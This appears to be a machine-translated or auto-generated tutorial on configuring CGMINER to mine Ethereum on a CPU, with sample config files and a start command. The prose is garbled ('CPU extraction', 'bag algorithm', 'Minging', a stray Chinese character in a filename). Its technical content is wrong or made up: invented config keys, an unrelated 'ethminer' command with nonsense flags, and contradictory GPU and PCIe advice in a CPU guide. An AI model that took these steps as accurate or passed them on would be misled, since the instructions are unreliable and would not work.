Ethereum: CGMINER configuration for CPU extraction
Introduction
CPU cryptocurrency mining can be a fun and education experience, especially when there are tests. Ethereum, being one of the most popular and widely accepted cryptocurrencies, is properly adapted to CPU extraction due to relatively low energy needs. In this article, we will help you configure the process of configuring CGMINER, a popular open source cryptocurrency mining, so you can run your CPU.
Conditions necessary
Before you continue, make sure:
- You downloaded and made CGMINER from the official Github storage: cgminer
- The binary is installed in your system.
- Your CPU has sufficient processing power and heat dissipation (at least 100 watts) to handle Ethereum mining algorithms.
CGMINER configuration for CPU extraction
To configure the extraction of the CGMINER CPU, follow the following steps:
Step 1: Create a new configuration file
Create a new file called eth 矿 .conf with this content:
`Ini
[miner]
Default = ETH
Set the way to binary
bin_path = ./bin/cgminer-3.5.0
Set GPU options (optional)
GPU_OPTIONS = -N 1-CPUS 2-CPUS-ThREAD 2
Set the bag algorithm (CPU or GPU)
Hash_algorithm = CPU
`
This configuration file defines one mineral with ETH knot and sets CPU as a mining algorithm. If you have several GPU in your system, you can add extra mining with different bag algorithms.
Step 2: Update CGMINER Settings
Update the Ethminer.conf file to indicate the correct location of your CGMINER binary:
`Ini
[Ethminer]
Road = ./bin/cgminer-3.5.0
Set GPU options (optional)
GPU_OPTIONS = -N 1-CPUS 2-CPUS-ThREAD 2
`
This is a common location for CGMINER Binary Linux systems.
Step 3: Start mining with Cgminer
Use the following command to start mining:
`Bash
./ethminer eth 127.0.0.1:3333 -Rpcurl -Minging 10000000
`
Change the 127.0.0.1 at your system IP address and 3333 default port used by Ethereum mining.
Troubleshooting tips
- If you face problems, make sure your GPU is properly connected to your CPU over the PCIe Bridge (eg NVIDIA GeForce GTX 1060).
- If you use multiple GPU, make sure the configuration file indicates each separate GPU.
- Remember that Ethereum mining algorithms cannot be optimized for processors, so you may experience slower speed and higher energy consumption.
Conclusion
With this guide, you should now successfully configure a CGMINER for CPU extraction. Remember to regularly update your configuration files to ensure optimal performance and maintain your system resources for cryptocurrency extraction. Happy mining!
